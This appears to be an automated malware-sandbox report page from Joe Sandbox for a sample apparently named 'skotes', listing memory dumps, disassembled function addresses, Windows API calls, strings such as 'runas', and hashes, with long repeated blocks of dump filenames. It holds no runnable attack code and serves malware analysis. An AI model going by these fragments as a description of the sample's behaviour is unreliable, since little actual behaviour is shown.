Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 32a0b662509a74f526410cf3ca8990bc6d5dc8f907ee7604fc28532727c5c56b
Instruction ID: 433e91960724ab8c0856a2b624c0ea75797306b88a4ee1d7639287541021ea62
Opcode Fuzzy Hash: 32a0b662509a74f526410cf3ca8990bc6d5dc8f907ee7604fc28532727c5c56b
Instruction Fuzzy Hash: 2BE1F770E046489BDB14BB78CD1B3AD7B61FB82724F94429CE915AB3C2DB355E8487C2

Function 00931ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00931775: CreateFileW.KERNEL32(00000000,00000000,?,00931B65,?,?,00000000,?,00931B65,00000000,0000000C), ref: 00931792

__dosmaperr.LIBCMT ref: 00931BD7
GetFileType.KERNEL32(00000000), ref: 00931BE3
__dosmaperr.LIBCMT ref: 00931BF6
__dosmaperr.LIBCMT ref: 00931D9C

Strings

H, xrefs: 00931D21

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 1f957c1ba128e9a5c16ab81d81bd6a4b12b89e5b6f467c25278876df45eb81d0
Instruction ID: 5ec9a45343d8ddb0b50f040a88c05c8d4c9468ab1a67151f4b40c5684c27e201
Opcode Fuzzy Hash: 1f957c1ba128e9a5c16ab81d81bd6a4b12b89e5b6f467c25278876df45eb81d0
Instruction Fuzzy Hash: 36A13632A142588FCF199F78DC51BAE7BF5AB46320F140149E851AB3E2DA349C02DB51

Function 008F7590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,82C993AC,?,00000000,00939138,000000FF), ref: 008F75CC
CreateThread.KERNEL32(00000000,00000000,008F7430,00958638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 008F76BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008F76C9

Strings

runas, xrefs: 008F7303

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$CreateThread
String ID: runas
API String ID: 3220764680-4000483414
Opcode ID: 603ddde8982a15c9a99705b85487db8f9e300ed673ddbd4c5634116a717faa72
Instruction ID: e30496f717653e8530cfce8fe8fd0e93c61d1b1770cb065d9e6bb43077f2ef39
Opcode Fuzzy Hash: 603ddde8982a15c9a99705b85487db8f9e300ed673ddbd4c5634116a717faa72
Instruction Fuzzy Hash: 83710130A1424CEFEB04DF68C885BAE7BB6EB45304F504119F915A73C1CB79A944CB91

Function 009326F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00946758), ref: 0093275C

Strings

Eastern Summer Time, xrefs: 009327FA
Eastern Standard Time, xrefs: 009327CB

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 7950a7f2d5cff72bbb1a8e6b9a25759363928a92ba15101b7e86e4611903ea7e
Instruction ID: 56f49713dda382750236c78ade7b1105c9146417f811d3d8f94807452ce26707
Opcode Fuzzy Hash: 7950a7f2d5cff72bbb1a8e6b9a25759363928a92ba15101b7e86e4611903ea7e
Instruction Fuzzy Hash: 66512971904315ABDB10EFB9DD81AAE77BCEF81310F50066AE521E7291E730AE419F50

Function 008F7430 Relevance: 4.8, APIs: 3, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

runas, xrefs: 008F7303

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
